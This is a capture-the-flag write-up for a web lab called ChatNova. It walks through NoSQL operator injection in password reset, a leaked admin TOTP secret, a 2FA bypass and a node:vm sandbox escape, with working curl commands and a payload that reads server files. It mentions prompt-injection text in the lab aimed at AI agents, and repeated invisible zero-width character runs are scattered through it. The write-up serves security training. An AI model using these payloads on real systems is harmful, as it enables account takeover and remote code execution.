← Back to Writeups
CUSTOMMediumWeb

Lab 325 — ChatNova

XESXOR9/2/20265 min read
#web#custom#medium#broken_access_control_api#constructor_chain_traversal#decoy_flag_identification#file_read_rce#mongodb_query_operator_injecti#node_vm_sandbox_escape#nosql_injection_ne_operator#password_reset_token_bypass#totp_secret_extraction

Lab 325 — ChatNova

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: broken_access_control_api, constructor_chain_traversal, decoy_flag_identification, file_read_rce, mongodb_query_operator_injection, node_vm_sandbox_escape, nosql_injection_ne_operator, password_reset_token_bypass, totp_secret_extraction

Summary

Walkthrough of the CUSTOM Web Lab 325 — ChatNova. Task: ChatNova team communication platform with user management, 2FA, and webhook integrations — 4-stage attack chain from unauthenticated to RCE. Solution: NoSQL injection in password reset token val

Description

ChatNova is a self-hosted team communication platform used by Nova Communications Inc. for internal messaging, file sharing, and collaboration. The platform features user management, channel-based messaging, direct messages, webhook integrations, and administrative controls. You have discovered a ChatNova instance running on the target. The landing page reveals the team roster with their email addresses. Your objective is to gain full control of the server and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A team chat platform (Express.js + MongoDB + nginx) with user management, channels, 2FA for admin, and webhook integrations with custom JavaScript handlers. No public registration. The goal is to go from unauthenticated to RCE and read /root/flag.txt. The attack chain spans 4 stages: NoSQL injection → broken access control → admin account takeover with 2FA bypass → node:vm sandbox escape via webhook.

Analysis

Reconnaissance

The landing page reveals team members and their email addresses, including support@chatnova.local (Sarah Mitchell, Support Specialist) and admin@chatnova.local (Marcus Chen, Platform Administrator). The platform does not offer public registration. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The login page contains JavaScript comments revealing the password reset API flow:

  1. POST /api/v1/auth/forgot-password {email} — generates reset token stored in DB
  2. POST /api/v1/auth/password-policy {token} — validates token before showing policy rules
  3. POST /api/v1/auth/reset-password {token, newPassword} — completes password reset

The robots.txt disclosed admin paths: /api/v1/admin/, /admin/users, /admin/integrations, /api/v1/webhooks/.

Decoy flag trap: Every page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments alongside prompt injection text designed to trick AI agents and automated scanners. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: NoSQL Injection in Password Reset Token Validation

The password-policy and reset-password endpoints pass the token parameter directly to a MongoDB query without type validation. Since the body is parsed as JSON, sending a MongoDB query operator object instead of a string bypasses the token check entirely.

Vulnerability 2: Broken Access Control on Admin API

The /api/v1/admin/users endpoint is accessible to regular (non-admin) users. It returns ALL user data including sensitive fields like services.totp.secret, leaking the admin's TOTP secret needed to bypass 2FA. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 3: node:vm Sandbox Escape

The admin panel allows creating webhook integrations with custom JavaScript handler scripts that run in a node:vm sandbox. However, node:vm is not a security sandbox — from Node.js docs: "The vm module is not a security mechanism. Do not use it to run untrusted code." The sandbox can be escaped via prototype chain traversal to access the main Node.js process and require arbitrary modules.

Solution

Stage 1: NoSQL Injection — Password Reset Token Bypass

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Trigger a password reset for the support account:

bash
curl -X POST https://TARGET/api/v1/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"support@chatnova.local"}'

Verify the NoSQL injection works on the token validation endpoint:

bash
curl -X POST https://TARGET/api/v1/auth/password-policy \
  -H "Content-Type: application/json" \
  -d '{"token":{"$ne":""}}'
# Response: {"valid":true,"policy":{...}}

Reset the password using the same injection:

bash
curl -X POST https://TARGET/api/v1/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{"token":{"$ne":""},"newPassword":"P@ssw0rd123!"}'
# Response: {"message":"Password has been reset successfully"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Log in as Sarah Mitchell (support@chatnova.local) with the new password. Role: user.

Stage 2: Information Disclosure — TOTP Secret Leak via Broken Access Control

The #engineering channel contained developer messages revealing:

  • Webhook handler supports custom scripts running in "vm2 sandboxing"
  • User search API uses MongoDB's native query operators with JSON parsed and passed directly to Mongoose find()

The /api/v1/admin/users endpoint was accessible to regular users (broken access control), returning all user data including TOTP secrets: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl https://TARGET/api/v1/admin/users \
  -H "Cookie: connect.sid=SESSION_COOKIE"

Response included:

json
{
  "_id": "6a037b285e55afc05616b16a",
  "username": "admin",
  "email": "admin@chatnova.local",
  "displayName": "Marcus Chen",
  "role": "admin",
  "services": {
    "totp": {
      "enabled": true,
      "secret": "JREXMQKKOURXU5S6N5EDGSDDPU5DKUDU"
    }
  }
}

Stage 3: Admin Account Takeover — Password Reset + 2FA Bypass

Trigger password reset for admin and use NoSQL injection to reset it: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST https://TARGET/api/v1/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@chatnova.local"}'

curl -X POST https://TARGET/api/v1/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{"token":{"$exists":true,"$ne":null},"newPassword":"Adm1n@Hacked!99"}'

Generate a valid TOTP code using the leaked secret:

python
import pyotp
totp = pyotp.TOTP('JREXMQKKOURXU5S6N5EDGSDDPU5DKUDU')
print(totp.now())  # e.g., 506667

Log in as admin with email + password + TOTP code: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST https://TARGET/login \
  -d "email=admin@chatnova.local&password=Adm1n@Hacked!99&totpCode=506667" \
  -L -c cookies.txt
# 302 redirect to /channels (success!)

Stage 4: RCE — node:vm Sandbox Escape via Webhook Handler

Create a webhook integration with a vm sandbox escape payload:

bash
curl -X POST https://TARGET/api/v1/admin/integrations \
  -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{
    "name": "Test Integration",
    "type": "incoming",
    "description": "Test webhook",
    "channelId": "6a037b2a5e55afc05616b17a",
    "script": "const process = this.constructor.constructor(\"return this.process\")(); const fs = process.mainModule.require(\"fs\"); const flag = fs.readFileSync(\"/root/flag.txt\", \"utf8\"); return { text: flag, channel: \"general\" };"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The sandbox escape works by traversing the prototype chain:

  1. this.constructor → Object constructor (from sandbox context, but linked to main context)
  2. .constructor → Function constructor
  3. ("return this.process")() → creates and executes a function in the main context, returning the real process object
  4. process.mainModule.require("fs") → loads the filesystem module
  5. fs.readFileSync("/root/flag.txt", "utf8") → reads the flag

Trigger the webhook:

bash
curl -X POST https://TARGET/api/v1/webhooks/WEBHOOK_TOKEN \
  -H "Content-Type: application/json" \
  -d '{"test": "hello"}'
# Response: {"success":true,"result":{"text":"FLAG{REDACTED}\n","channel":"general"}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering broken_access_control_api, constructor_chain_traversal, decoy_flag_identification, file_read_rce, mongodb_query_operator_injection, node_vm_sandbox_escape, nosql_injection_ne_operator, password_reset_token_bypass, totp_secret_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-12 • CUSTOM • Lab 325 — ChatNova • Difficulty: Medium